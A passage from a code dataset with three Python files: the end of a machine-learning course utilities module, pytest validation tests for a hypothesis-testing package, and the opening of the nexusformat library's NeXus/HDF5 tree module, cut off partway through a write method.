X.join(y)\n    X_y = X_y.sample(frac=1).reset_index(drop=True)\n    X, y = X_y.iloc[:, :-1], X_y.iloc[:, -1:]\n\n    amount = int(np.ceil(train_proportion * y.size))\n    return X.iloc[:amount], y.iloc[:amount], X.iloc[amount:], y.iloc[amount:]\n\n\ndef confusion_matrix(a: np.ndarray, b: np.ndarray) -> np.ndarray:\n    \"\"\"\n    Compute a confusion matrix between two sets of integer vectors\n\n    Parameters\n    ----------\n    a: ndarray of shape (n_samples,)\n        First vector of integers\n\n    b: ndarray of shape (n_samples,)\n        Second vector of integers\n\n    Returns\n    -------\n    confusion_matrix: ndarray of shape (a_unique_values, b_unique_values)\n        A confusion matrix where the value of the i,j index shows the number of times value `i` was found in vector `a`\n        while value `j` vas found in vector `b`\n    \"\"\"\n    raise NotImplementedError()\n\n\ndef measure_time(f):\n    \"\"\"\n    wrapper for a function f that prints the time it ran.\n    :return:\n    \"\"\"\n    def timed(*args, **kw):\n        ts = time.time()\n        result = f(*args, **kw)\n        te = time.time()\n        print('%r %2.2f sec' % (f.__name__, te - ts))\n        return result\n\n    return timed\n", "meta": {"hexsha": "37156272e00bd374fa326b7f03c221d972948d2a", "size": 2374, "ext": "py", "lang": "Python", "max_stars_repo_path": "IMLearn/utils/utils.py", "max_stars_repo_name": "AlonViz/IML.HUJI", "max_stars_repo_head_hexsha": "107f7c20b8bd64d41452e4a5b66abe843af7eb18", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "IMLearn/utils/utils.py", "max_issues_repo_name": "AlonViz/IML.HUJI", "max_issues_repo_head_hexsha": "107f7c20b8bd64d41452e4a5b66abe843af7eb18", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "IMLearn/utils/utils.py", "max_forks_repo_name": "AlonViz/IML.HUJI", "max_forks_repo_head_hexsha": "107f7c20b8bd64d41452e4a5b66abe843af7eb18", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.3086419753, "max_line_length": 119, "alphanum_fraction": 0.6411120472, "include": true, "reason": "import numpy", "num_tokens": 572, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.11124121534690624, "lm_q1q2_score": 0.05562060767345312}}
{"text": "import numpy as np\nimport pytest\nfrom hypepy import hyp_test\n\n\ndef test_hyp_test_integer():\n    '''\n    Test if the input data is numeric, not a string or boolean.\n    '''\n    with pytest.raises(TypeError):\n        hyp_test( data = \"my data\", mean_0=1, alpha=0.05)\n\n    with pytest.raises(TypeError):\n        hyp_test(data = True, mean_0=1, alpha=0.05)\n\ndef test_hyp_test_missing():\n    '''\n    Test if the input contains missing values.\n    '''\n    data = np.array([0, np.nan, 2])\n    with pytest.raises(ValueError):\n        hyp_test(data, mean_0=1, alpha = 0.05)\n\ndef test_hyp_test_non_zero():\n    '''\n    Test that the length of the data is greater than 0.\n    '''\n    with pytest.raises(ValueError):\n        data = np.array([])\n        hyp_test(data, mean_0=1, alpha=0.05)\n", "meta": {"hexsha": "288378271658d6ac0eb06a12922688b1672f6a2b", "size": 777, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_hyp_test.py", "max_stars_repo_name": "UBC-MDS/hypepy", "max_stars_repo_head_hexsha": "9b51737852a9e3698ec4f0fa2909040c7b2f41e8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tests/test_hyp_test.py", "max_issues_repo_name": "UBC-MDS/hypepy", "max_issues_repo_head_hexsha": "9b51737852a9e3698ec4f0fa2909040c7b2f41e8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 15, "max_issues_repo_issues_event_min_datetime": "2018-02-10T19:08:27.000Z", "max_issues_repo_issues_event_max_datetime": "2018-03-22T04:24:57.000Z", "max_forks_repo_path": "tests/test_hyp_test.py", "max_forks_repo_name": "UBC-MDS/hypepy", "max_forks_repo_head_hexsha": "9b51737852a9e3698ec4f0fa2909040c7b2f41e8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.064516129, "max_line_length": 63, "alphanum_fraction": 0.6357786358, "include": true, "reason": "import numpy", "num_tokens": 207, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.11124121387367902, "lm_q1q2_score": 0.05562060693683951}}
{"text": "#!/usr/bin/env python \n# -*- coding: utf-8 -*-\n\n#-----------------------------------------------------------------------------\n# Copyright (c) 2013-2019, NeXpy Development Team.\n#\n# Author: Paul Kienzle, Ray Osborn\n#\n# Distributed under the terms of the Modified BSD License.\n#\n# The full license is in the file COPYING, distributed with this software.\n#-----------------------------------------------------------------------------\n\n\"\"\"\nThe `nexus.tree` modules are designed to accomplish two goals:\n\n    1. To provide convenient access to existing data contained in NeXus files.\n    2. To enable new NeXus data to be created and manipulated interactively.\n\nThese goals are achieved by mapping hierarchical NeXus data structures directly\ninto python objects, which either represent NeXus groups or NeXus fields.\nEntries in a group are referenced much like fields in a class are referenced in\npython. The entire data hierarchy can be referenced at any time, whether the\nNeXus data has been loaded in from an existing NeXus file or created dynamically\nwithin the python session. This provides a natural scripting interface to NeXus \ndata.\n\nExample 1: Loading a NeXus file\n-------------------------------\nThe following commands loads NeXus data from a file, displays (some of) the\ncontents as a tree, and then accesses individual data items\n\n    >>> from nexusformat import nexus as nx\n    >>> a=nx.load('sns/data/ARCS_7326.nxs')\n    >>> print a.tree\n    root:NXroot\n      @HDF5_Version = 1.8.2\n      @NeXus_version = 4.2.1\n      @file_name = ARCS_7326.nxs\n      @file_time = 2010-05-05T01:59:25-05:00\n      entry:NXentry\n        data:NXdata\n          data = float32(631x461x4x825)\n            @axes = rotation_angle:tilt_angle:sample_angle:time_of_flight\n            @signal = 1\n          rotation_angle = float32(632)\n            @units = degree\n          sample_angle = [ 210.  215.  220.  225.  230.]\n            @units = degree\n          tilt_angle = float32(462)\n            @units = degree\n          time_of_flight = float32(826)\n            @units = microsecond\n        run_number = 7326\n        sample:NXsample\n          pulse_time = 2854.94747365\n            @units = microsecond\n    .\n    .\n    .\n    >>> a.entry.run_number\n    NXfield(7326)\n\nSo the tree returned from :func:`load()` has an entry for each group, field and\nattribute.  You can traverse the hierarchy using the names of the groups.  For\nexample, tree.entry.instrument.detector.distance is an example of a field\ncontaining the distance to each pixel in the detector. Entries can also be\nreferenced by NXclass name, such as ``tree.NXentry[0].instrument``. Since there may\nbe multiple entries of the same NeXus class, the ``NXclass`` attribute returns a\n(possibly empty) list.\n\nThe :func:`load()` and :func:`save()` functions are implemented using the class\n`nexus.tree.NXFile`, a subclass of :class:`h5py.File`.\n\nExample 2: Creating a NeXus file dynamically\n--------------------------------------------\nThe second example shows how to create NeXus data dynamically and saves it to a\nfile. The data are first created as Numpy arrays\n\n    >>> import numpy as np\n    >>> x=y=np.linspace(0,2*np.pi,101)\n    >>> X,Y=np.meshgrid(y,x)\n    >>> z=np.sin(X)*np.sin(Y)\n\nThen, a NeXus data group is created and the data inserted to produce a\nNeXus-compliant structure that can be saved to a file\n\n    >>> root=nx.NXroot(NXentry())\n    >>> print root.tree\n    root:NXroot\n      entry:NXentry\n    >>> root.entry.data=nx.NXdata(z,[x,y])\n\nAdditional metadata can be inserted before saving the data to a file.\n\n    >>> root.entry.sample=nx.NXsample()\n    >>> root.entry.sample.temperature = 40.0\n    >>> root.entry.sample.temperature.units = 'K'\n    >>> root.save('example.nxs')\n\n:class:`NXfield` objects have much of the functionality of Numpy arrays. They may be used\nin simple arithmetic expressions with other NXfields, Numpy arrays or scalar\nvalues and will be cast as ndarray objects if used as arguments in Numpy\nmodules.\n\n    >>> x=nx.NXfield(np.linspace(0,10.0,11))\n    >>> x\n    NXfield([  0.   1.   2. ...,   8.   9.  10.])\n    >>> x + 10\n    NXfield([ 10.  11.  12. ...,  18.  19.  20.])\n    >>> np.sin(x)\n    array([ 0.        ,  0.84147098,  0.90929743, ...,  0.98935825,\n        0.41211849, -0.54402111])\n\nIf the arithmetic operation is assigned to a NeXus group attribute, it will be\nautomatically cast as a valid :class:`NXfield` object with the type and shape determined\nby the Numpy array type and shape.\n\n    >>> entry.data.result = np.sin(x)\n    >>> entry.data.result\n    NXfield([ 0.          0.84147098  0.90929743 ...,  0.98935825  0.41211849\n     -0.54402111])\n    >>> entry.data.result.dtype, entry.data.result.shape\n    (dtype('float64'), (11,))\n\nNeXus Objects\n-------------\nProperties of the entry in the tree are referenced by attributes that depend\non the object type, different nx attributes may be available.\n\nObjects (:class:`NXobject`) have attributes shared by both groups and fields::\n    * nxname   object name\n    * nxclass  object class for groups, 'NXfield' for fields\n    * nxgroup  group containing the entry, or None for the root\n    * attrs    dictionary of NeXus attributes for the object\n\nGroups (:class:`NXgroup`) have attributes for accessing children::\n    * entries  dictionary of entries within the group\n    * component('nxclass')  return group entries of a particular class\n    * dir()    print the list of entries in the group\n    * tree     return the list of entries and subentries in the group\n    * plot()   plot signal and axes for the group, if available\n\nFields (:class:`NXfield`) have attributes for accessing data:\n    * shape    dimensions of data in the field\n    * dtype    data type\n    * nxdata   data in the field\n\nLinked fields or groups (:class:`NXlink`) have attributes for accessing the link::\n    * nxlink   reference to the linked field or group\n\nNeXus attributes (:class:`NXattr`) have a type and a value only::\n    * dtype    attribute type\n    * nxdata   attribute data\n\nThere is a subclass of :class:`NXgroup` for each group class defined by the NeXus standard,\nso it is possible to create an :class:`NXgroup` of NeXus :class:`NXsample` directly using:\n\n    >>> sample = NXsample()\n\nThe default group name will be the class name following the 'NX', so the above\ngroup will have an nxname of 'sample'. However, this is overridden by the\nattribute name when it is assigned as a group attribute, e.g.,\n\n    >>> entry.sample1 = NXsample()\n    >>> entry.sample1.nxname\n    sample1\n\nYou can traverse the tree by component class instead of component name. Since\nthere may be multiple components of the same class in one group you will need to\nspecify which one to use.  For example::\n\n    tree.NXentry[0].NXinstrument[0].NXdetector[0].distance\n\nreferences the first detector of the first instrument of the first entry.\nUnfortunately, there is no guarantee regarding the order of the entries, and it\nmay vary from call to call, so this is mainly useful in iterative searches.\n\n\nUnit Conversion\n---------------\nData can be stored in the NeXus file in a variety of units, depending on which\nfacility is storing the file.  This makes life difficult for reduction and\nanalysis programs which must know the units they are working with.  Our solution\nto this problem is to allow the reader to retrieve data from the file in\nparticular units.  For example, if detector distance is stored in the file using\nmillimeters you can retrieve them in meters using::\n\n    entry.instrument.detector.distance.convert('m')\n\nSee `nexus.unit` for more details on the unit formats supported.\n\nReading and Writing Slabs\n-------------------------\nIf the size of the :class:`NXfield` array is too large to be loaded into memory (as \ndefined by NX_MEMORY), the data values should be read or written in as a series \nof slabs represented by :class:`NXfield` slices::\n\n >>> for i in range(Ni):\n         for j in range(Nj):\n             value = root.NXentry[0].data.data[i,j,:]\n             ...\n\n\nPlotting NeXus data\n-------------------\nThere is a :meth:`plot()` method for groups that automatically looks for 'signal' and\n'axes' attributes within the group in order to determine what to plot. These are\ndefined by the 'nxsignal' and 'nxaxes' properties of the group. This means that\nthe method will determine whether the plot should be one- or two- dimensional.\nFor higher than two dimensions, only the top slice is plotted by default.\n\nThe plot method accepts as arguments the standard matplotlib.pyplot.plot format \nstrings to customize one-dimensional plots, axis and scale limits, and will\ntransmit keyword arguments to the matplotlib plotting methods.\n\n    >>> a=nx.load('chopper.nxs')\n    >>> a.entry.monitor1.plot()\n    >>> a.entry.monitor2.plot('r+', xmax=2600)\n    \nIt is possible to plot over the existing figure with the :meth:`oplot()` method and to\nplot with logarithmic intensity scales with the :meth:`logplot()` method. The x- and\ny-axes can also be rendered logarithmically using the `logx` and `logy` keywords.\n\nAlthough the :meth:`plot()` method uses matplotlib by default to plot the data, you can replace\nthis with your own plotter by setting `nexus.NXgroup._plotter` to your own plotter\nclass.  The plotter class has one method::\n\n    plot(signal, axes, entry, title, format, **kwargs)\n\nwhere signal is the field containing the data, axes are the fields listing the\nsignal sample points, entry is file/path within the file to the data group and\ntitle is the title of the group or the parent :class:`NXentry`, if available.\n\"\"\"\nfrom __future__ import absolute_import, division, print_function\n\nimport numbers\nimport os\nimport re\nimport sys\nimport warnings\nfrom copy import copy, deepcopy\n\nimport h5py as h5\nimport numpy as np\nimport six\n\nfrom .. import __version__ as nxversion\nfrom .lock import NXLock, NXLockException\n\nwarnings.simplefilter(action='ignore', category=FutureWarning)\n\nNX_MEMORY = 2000 #Memory in MB\nNX_COMPRESSION = 'gzip'\nNX_ENCODING = sys.getfilesystemencoding()\nNX_MAXSIZE = 10000\nNX_LOCK = 0\n\nnp.set_printoptions(threshold=5)\nstring_dtype = h5.special_dtype(vlen=six.text_type)\n\n__all__ = ['NXFile', 'NXobject', 'NXfield', 'NXgroup', 'NXattr', \n           'NXlink', 'NXlinkfield', 'NXlinkgroup', 'NeXusError', \n           'nxgetlock', 'nxsetlock', 'nxgetmemory', 'nxsetmemory', \n           'nxgetcompression', 'nxsetcompression', \n           'nxgetencoding', 'nxsetencoding', 'nxgetmaxsize', 'nxsetmaxsize',\n           'nxclasses', 'nxload', 'nxsave', 'nxduplicate', 'nxdir', 'nxdemo',\n           'nxversion']\n\n#List of defined base classes (later added to __all__)\nnxclasses = ['NXroot', 'NXentry', 'NXsubentry', 'NXdata', 'NXmonitor', 'NXlog', \n             'NXsample', 'NXinstrument', 'NXaperture', 'NXattenuator', 'NXbeam', \n             'NXbeam_stop', 'NXbending_magnet', 'NXcapillary', 'NXcite',\n             'NXcollection', 'NXcollimator', 'NXcrystal', 'NXdetector', \n             'NXdetector_group', 'NXdetector_module', 'NXdisk_chopper', \n             'NXenvironment', 'NXevent_data', 'NXfermi_chopper', 'NXfilter', \n             'NXflipper', 'NXgeometry', 'NXgrating', 'NXgoniometer', 'NXguide', \n             'NXinsertion_device', 'NXmirror', 'NXmoderator', 'NXmonochromator', \n             'NXnote', 'NXorientation', 'NXparameters', 'NXpinhole', \n             'NXpolarizer', 'NXpositioner', 'NXprocess', 'NXreflections', \n             'NXsample_component', 'NXsensor', 'NXshape', 'NXslit', 'NXsource', \n             'NXtransformations', 'NXtranslation', 'NXuser', \n             'NXvelocity_selector', 'NXxraylens']\n\nif six.PY2:\n    FileNotFoundError = IOError\nelse:\n    unicode = str\n\n\ndef text(value):\n    \"\"\"Return a unicode string in both Python 2 and 3.\n    \n    Parameters\n    ----------\n    value : str or bytes\n        String or byte array to be converted.\n    \n    Returns\n    -------\n    str\n        Converted unicode string\n    \n    Notes\n    -----\n    If the argument is a byte array, the function will decode the array using\n    the encoding specified by NX_ENCODING, which is initially set to the\n    system's default encoding, usually 'utf-8'. If this generates a \n    UnicodeDecodeError exception, an alternate encoding is tried. Null \n    characters are removed from the return value.\n    \"\"\"\n    if isinstance(value, np.ndarray) and value.shape == (1,):\n        value = value[0]\n    if isinstance(value, bytes):\n        try:\n            text = value.decode(NX_ENCODING)\n        except UnicodeDecodeError:\n            if NX_ENCODING == 'utf-8':\n                text = value.decode('latin-1')\n            else:\n                text = value.decode('utf-8')\n    elif six.PY3:\n        text = str(value)\n    else:\n        text = unicode(value)\n    return text.replace('\\x00','').rstrip()\n\n\ndef is_text(value):\n    \"\"\"Return True if the value represents text in both Python 2 and 3.\n    \n    Parameters\n    ----------\n    value : str or bytes\n        Value to be checked.\n    \n    Returns\n    -------\n    bool\n        True if the value is a string or bytes array.\n    \"\"\"\n    if isinstance(value, bytes) or isinstance(value, six.string_types):\n        return True\n    else:\n        return False\n\n\ndef is_string_dtype(dtype):\n    \"\"\"Return True if the dtype corresponds to a string type.\n    \n    Parameters\n    ----------\n    dtype : np.dtype\n        Numpy data type to be tested.\n    \n    Returns\n    -------\n    bool\n        True if the dtype corresponds to a string type.\n    \"\"\"\n    return dtype == string_dtype or dtype.kind == 'S' or dtype.kind == 'U'\n\n\ndef is_iterable(obj):\n    \"\"\"Return True if the object is a list or a tuple.\n    \n    Parameters\n    ----------\n    obj : list or tuple\n        Object to be tested.\n    \n    Returns\n    -------\n    bool\n        True if the object is a list or a tuple.\n    \"\"\"\n    return isinstance(obj, list) or isinstance(obj, tuple)\n\n\ndef natural_sort(key):\n    \"\"\"Key to sort a list of strings containing numbers in natural order.\n\n    This function is used to customize the sorting of lists of strings. For \n    example, it ensures that 'label_10' follows 'label_9' after sorting.\n    \n    Parameters\n    ----------\n    key : str\n        String in the list to be sorted.\n    \n    Returns\n    -------\n    list\n        List of string components splitting embedded numbers as integers.\n    \"\"\"\n    return [int(t) if t.isdigit() else t for t in re.split(r'(\\d+)', key)]    \n\n\nclass NeXusError(Exception):\n    \"\"\"NeXus Error\"\"\"\n    pass\n\n\nclass NXFile(object):\n    \"\"\"\n    Structure-based interface to the NeXus file API.\n\n    Usage::\n\n      file = NXFile(filename, ['r','rw','w'])\n        - open the NeXus file\n      root = file.readfile()\n        - read the structure of the NeXus file.  This returns a NeXus tree.\n      file.writefile(root)\n        - write a NeXus tree to the file.\n\n    Example::\n\n      nx = NXFile('REF_L_1346.nxs','r')\n      root = nx.readfile()\n      for entry in root.NXentry:\n          process(entry)\n      copy = NXFile('modified.nxs','w')\n      copy.writefile(root)\n\n    Note that the large datasets are not loaded immediately.  Instead, the\n    when the data set is requested, the file is reopened, the data read, and\n    the file closed again.  open/close are available for when we want to\n    read/write slabs without the overhead of moving the file cursor each time.\n    The :class:`NXdata` objects in the returned tree hold the object values.\n    \"\"\"\n\n    def __init__(self, name, mode='r', **kwargs):\n        \"\"\"Open an HDF5 file for reading and writing NeXus files.\n\n        This creates a h5py File instance that is used for all subsequent\n        input and output. Unlike h5py, where a closed file is no longer \n        accessible, the NXFile instance is persistent, and can be used to\n        with a context manager to ensure that all file operations are \n        completed and the h5py File is released. A file locking mechanism\n        is optionally available to prevent corruption of the file when \n        being accessed by multiple processes.\n        \n        Parameters\n        ----------\n        name : str\n            Name of the HDF5 file.\n        mode : {'r', 'rw', 'r+', 'w', 'w-', 'a'}\n            Read/write mode of the HDF5 file, by default 'r'. These all have \n            the same meaning as their h5py counterparts, apart from 'rw', \n            which is equivelent to 'r+'. After creating and/or opening the \n            file, the mode is set to 'r' or 'rw' for remaining operations.\n        \"\"\"\n        self.h5 = h5\n        self.name = name\n        self._file = None\n        self._filename = os.path.abspath(name)\n        self._lock = NXLock(self._filename, timeout=NX_LOCK)\n        self._path = '/'\n        self._root = None\n        self._with_count = 0\n        if mode == 'w4' or mode == 'wx':\n            raise NeXusError(\"Only HDF5 files supported\")\n        elif not os.path.exists(os.path.dirname(self._filename)):\n            raise NeXusError(\"'%s/' does not exist\"\n                             % os.path.dirname(self._filename))\n        elif mode == 'w' or mode == 'w-' or mode == 'w5' or mode == 'a' or mode == 'x':\n            if mode == 'w5':\n                mode = 'w'\n            try:\n                self._file = self.h5.File(self._filename, mode, **kwargs)\n            except Exception as error:\n                raise NeXusError(str(error))\n            self._mode = 'rw'\n        else:\n            if mode == 'rw' or mode == 'r+':\n                self._mode = 'rw'\n                mode = 'r+'\n            else:\n                self._mode = 'r'\n            if os.path.exists(name):\n                try:\n                    self._file = self.h5.File(self._filename, mode, **kwargs)\n                except Exception as error:\n                    raise NeXusError(str(error))\n            else:\n                raise NeXusError(\"'%s' does not exist\" % name)\n        self._file.close()\n\n    def __repr__(self):\n        return '<NXFile \"%s\" (mode %s)>' % (os.path.basename(self._filename),\n                                            self._mode)\n\n    def __getitem__(self, key):\n        \"\"\"Return an object from the NeXus file using its path.\"\"\"\n        return self.file.get(key)\n\n    def __setitem__(self, key, value):\n        \"\"\"Set the value of an object defined by its path in the NeXus file.\"\"\"\n        self.file[key] = value\n\n    def __delitem__(self, name):\n        \"\"\" Delete an object from the file. \"\"\"\n        del self.file[name]\n\n    def __contains__(self, key):\n        \"\"\"Implement 'k in d' test for entries in the file.\"\"\"\n        return self.file.__contains__(key)\n\n    def __enter__(self):\n        if self._with_count == 0:\n            self.acquire_lock()\n            self.open()\n        self._with_count += 1\n        return self\n\n    def __exit__(self, *args):\n        if self._with_count == 1:\n            self.close()\n            self.release_lock()\n        self._with_count -= 1\n\n    def __del__(self):\n        self.close()\n        self.release_lock()\n\n    @property\n    def root(self):\n        \"\"\"Return the root group of the NeXus file.\"\"\"\n        return self._root\n    \n    @property\n    def mtime(self):\n        \"\"\"Return the modification time of the NeXus file.\"\"\"\n        return os.path.getmtime(self._filename)\n    \n    @property\n    def lock(self):\n        \"\"\"Return the NXLock instance to be used in file locking.\n\n        The global variable, `NX_LOCK`, defines the default timeout in\n        seconds of attempts to acquire the lock. If it is set to 0, the \n        NXFile object is not locked by default. The `lock` property can \n        be set to turn on file locking, either by setting it to a new\n        timeout value or by setting it to `True`, in which case a default \n        timeout of 10 seconds is used.\n\n        Returns\n        -------\n        NXLock\n            Instance of the file lock.\n        \"\"\"\n        return self._lock\n\n    @lock.setter\n    def lock(self, value):\n        if self._lock is None:\n            self._lock = NXLock(self._filename, timeout=NX_LOCK)\n        if value is False or value is None or value == 0:\n            self._lock.timeout = 0\n        else:\n            if value is True:\n                if NX_LOCK:\n                    timeout = NX_LOCK\n                else:\n                    timeout = 10\n            else:\n                timeout = value\n            self._lock.timeout=timeout\n\n    @property\n    def locked(self):\n        \"\"\"Return True if a file lock is active in the current process.\"\"\"\n        return self._lock is not None and self._lock.locked\n\n    @property\n    def lock_file(self):\n        \"\"\"Return the name of the file used to establish the lock.\"\"\"\n        if self._lock is None:\n            self._lock = NXLock(self._filename, timeout=NX_LOCK)\n        return self._lock.lock_file\n\n    def acquire_lock(self, timeout=None):\n        \"\"\"Acquire the file lock.\n\n        This uses the NXLock instance returned by `self.lock`.\n        \n        Parameters\n        ----------\n        timeout : int, optional\n            Timeout for attempts to acquire the lock, by default None.\n        \"\"\"\n        if self.locked and self.is_locked():\n            return\n        if self._lock is None:\n            if timeout is not None:\n                self.lock = timeout\n            elif NX_LOCK:\n                self.lock = NX_LOCK\n            elif self.is_locked():\n                self.lock = True\n            if self._lock is None:\n                return\n        self._lock.acquire()\n\n    def release_lock(self):\n        \"\"\"Release the lock acquired by the current process.\"\"\"\n        if self.locked:\n            self._lock.release()\n\n    def wait_lock(self, timeout=True):\n        \"\"\"Wait for a file lock created by an external process to be cleared.\n        \n        Parameters\n        ----------\n        timeout : bool or int, optional\n            The value, in seconds, of the time to wait. If set to `True`, a\n            default value of 10 seconds is used.\n        \"\"\"\n        self.lock = timeout\n        NXLock(self._filename, timeout=timeout).wait()\n\n    def clear_lock(self, timeout=True):\n        \"\"\"Clear the file lock whether created by this or another process.\n\n        Note\n        ----\n        Since the use of this function implies that another process is \n        accessing this file, file locking is turned on for future \n        input/output. The `timeout` value applies to future access. The\n        existing lock is cleared immediately.\n        \n        Parameters\n        ----------\n        timeout : bool or int, optional\n            The value, in seconds, of the time to wait for future file locks. \n            If set to `True`, a default value of 10 seconds is used.\n        \"\"\"\n        if self.is_locked():\n            self.lock = timeout\n            self._lock.clear()\n\n    def is_locked(self):\n        \"\"\"Return True if a lock file exists for this NeXus file.\"\"\"\n        return os.path.exists(self.lock_file)\n\n    def get(self, *args, **kwargs):\n        return self.file.get(*args, **kwargs)\n\n    def copy(self, *args, **kwargs):\n        self.file.copy(*args, **kwargs)\n\n    def open(self, **kwargs):\n        if not self.isopen():\n            if self._mode == 'rw':\n                self._file = self.h5.File(self._filename, 'r+', **kwargs)\n            else:\n                self._file = self.h5.File(self._filename, self._mode, **kwargs)\n            self.nxpath = '/'\n\n    def close(self):\n        if self.isopen():\n            self._file.close()\n        if self._root:\n            self._root._mtime = self.mtime\n\n    def isopen(self):\n        if self._file is not None:\n            return self._file.id.valid\n        else:\n            return False\n\n    def readfile(self):\n        \"\"\"\n        Reads the NeXus file structure from the file and returns a tree of \n        NXobjects.\n\n        Large datasets are not read until they are needed.\n        \"\"\"\n        _mode = self._mode\n        self._mode = 'r'\n        self.nxpath = '/'\n        root = self._readgroup('root')\n        root._group = None\n        root._file = self\n        root._filename = self._filename\n        root._mode = self._mode = _mode\n        root._file_modified = False\n        self._root = root\n        return root\n\n    def _readattrs(self):\n        item = self.get(self.nxpath)\n        if item is not None:\n            attrs = {}\n            for key in item.attrs:\n                try:\n                    attrs[key] = item.attrs[key]\n                except Exception:\n                    attrs[key] = None\n            return attrs\n        else:\n            return {}\n\n    def _readchildren(self):\n        children = {}\n        items = self[self.nxpath].items()\n        for name, value in items:\n            self.nxpath = self.nxpath + '/' + name\n            if isinstance(value, self.h5.Group):\n                children[name] = self._readgroup(name)\n            elif isinstance(value, self.h5.Dataset):\n                children[name] = self._readdata(name)\n            else:\n                _link = self._readlink(name)\n                if _link:\n                    children[name] = _link\n            self.nxpath = self.nxparent\n        return children\n\n    def _readgroup(self, name):\n        \"\"\"\n        Reads the group with the current path and returns it as an NXgroup.\n        \"\"\"\n        attrs = self._readattrs()\n        nxclass = self._getclass(attrs.pop('NX_class', 'NXgroup'))\n        if nxclass == 'NXgroup' and self.nxpath == '/':\n            nxclass = 'NXroot'\n        children = self._readchildren()\n        _target, _filename, _abspath = self._getlink()\n        if _target is not None:\n            group = NXlinkgroup(nxclass=nxclass, name=name, attrs=attrs,\n                                new_entries=children, target=_target,\n                                file=_filename, abspath=_abspath)\n        else:\n            group = NXgroup(nxclass=nxclass, name=name, attrs=attrs,\n                            new_entries=children)\n        for obj in children.values():\n            obj._group = group\n        group._changed = True\n        return group\n\n    def _readdata(self, name):\n        \"\"\"\n        Reads a data object and returns it as an NXfield or NXlink.\n        \"\"\"\n        _target, _filename, _abspath = self._getlink()\n        if _target is not None:\n            if _filename is not None:\n                try:\n                    value, shape, dtype, attrs = self.readvalues()\n                    return NXlinkfield(\n                        target=_target, file=_filename, abspath=_abspath,\n                        name=name, value=value, dtype=dtype, shape=shape, \n                        attrs=attrs)\n                except Exception:\n                    pass\n            return NXlinkfield(name=name, target=_target, file=_filename, \n                               abspath=_abspath)\n        else:\n            value, shape, dtype, attrs = self.readvalues()\n            return NXfield(value=value, name=name, dtype=dtype, shape=shape, \n                           attrs=attrs)\n\n    def _readlink(self, name):\n        \"\"\"\n        Reads an object that is an undefined link.\n        \n        This is usually an external link to a non-existent file. It can also be\n        a link to an unresolved external link.\n        \"\"\"\n        _target, _filename, _abspath = self._getlink()\n        if _target is not None:\n            return NXlink(name=name, target=_target, file=_filename, \n                          abspath=_abspath)\n        else:\n            return None\n \n    def _getclass(self, nxclass):\n        nxclass = text(nxclass)\n        if nxclass is None:\n            return 'NXgroup'\n        else:\n            return nxclass\n\n    def _getlink(self):\n        _target, _filename, _abspath = None, None, False\n        if self.nxpath != '/':\n            _link = self.get(self.nxpath, getlink=True)\n            if isinstance(_link, h5.ExternalLink):\n                _target, _filename = _link.path, _link.filename\n                _abspath = os.path.isabs(_filename)\n            elif isinstance(_link, h5.SoftLink):\n                _target = _link.path\n            elif 'target' in self.attrs:\n                _target = text(self.attrs['target'])\n                if _target == self.nxpath:\n                    _target = None\n        return _target, _filename, _abspath\n\n    def writefile(self, root):\n        \"\"\"\n        Writes the NeXus file structure to a file.\n\n        The file is assumed to start empty. Updating individual objects can be\n        done using the h5py interface.\n        \"\"\"\n        links = []\n        self.nxpath = \"\"\n        for entry in root.values():\n            links += self._writegroup(entry)\n        self._writelinks(links)\n        if len(root.attrs) > 0:\n            self._writeattrs(root.attrs)\n        root._filename = self._filename\n        self._root = root\n        self._rootattrs()\n\n    def _writeattrs(self, attrs):\n        \"\"\"\n        Writes the attributes for the group/data with the current path.\n\n        Null attributes are ignored.\n        \"\"\"\n        if self[self.nxpath] is not None:\n            for name, value in attrs.items():\n                if value.nxdata is not None:\n                    self[self.nxpath].attrs[name] = value.nxdata\n\n    def _writegroup(self, group):\n        \"\"\"\n        Writes the given group structure, including the data.\n\n        Internal NXlinks cannot be written until the linked group is created, \n        so this routine returns the set of links that need to be written.\n        Call writelinks on the list.\n        \"\"\"\n        if group.nxpath != '' and group.nxpath != '/':\n            self.nxpath = self.nxpath + '/' + group.nxname\n            if group.nxname not in self[self.nxparent]:\n                if group._target is not None:\n                    if group._filename is not None:\n                        self.nxpath = self.nxparent\n                        self._writeexternal(group)\n                        self.nxpath = self.nxparent\n                        return []\n                else:\n                    self[self.nxparent].create_group(group.nxname)\n            if group.nxclass and group.nxclass != 'unknown':\n                self[self.nxpath].attrs['NX_class'] = group.nxclass\n        links = []\n        self._writeattrs(group.attrs)\n        if group._target is not None:\n            links += [(self.nxpath, group._target)]\n        for child in group.values():\n            if isinstance(child, NXlink):\n                if child._filename is not None:\n                    self._writeexternal(child)\n                else:\n                    links += [(self.nxpath+\"/\"+child.nxname, child._target)]\n            elif isinstance(child, NXfield):\n                links += self._writedata(child)\n            else:\n                links += self._writegroup(child)\n        self.nxpath = self.nxparent\n        return links\n\n    def _writedata(self, data):\n        \"\"\"\n        Writes the given data to a file.\n\n        NXlinks cannot be written until the linked group is created, so\n        this routine returns the set of links that need to be written.\n        Call writelinks on the list.\n        \"\"\"\n        self.nxpath = self.nxpath + '/' + data.nxname\n        # If the data is linked then\n        if data._target is not None:\n            if data._filename is not None:\n                self._writeexternal(data)\n                self.nxpath = self.nxparent\n                return []\n            else:\n                path = self.nxpath\n                self.nxpath = self.nxparent\n                return [(path, data._target)]\n        if data._uncopied_data:\n            if self.nxpath in self:\n                del self[self.nxpath]\n            _file, _path = data._uncopied_data\n            if _file._filename != self._filename:\n        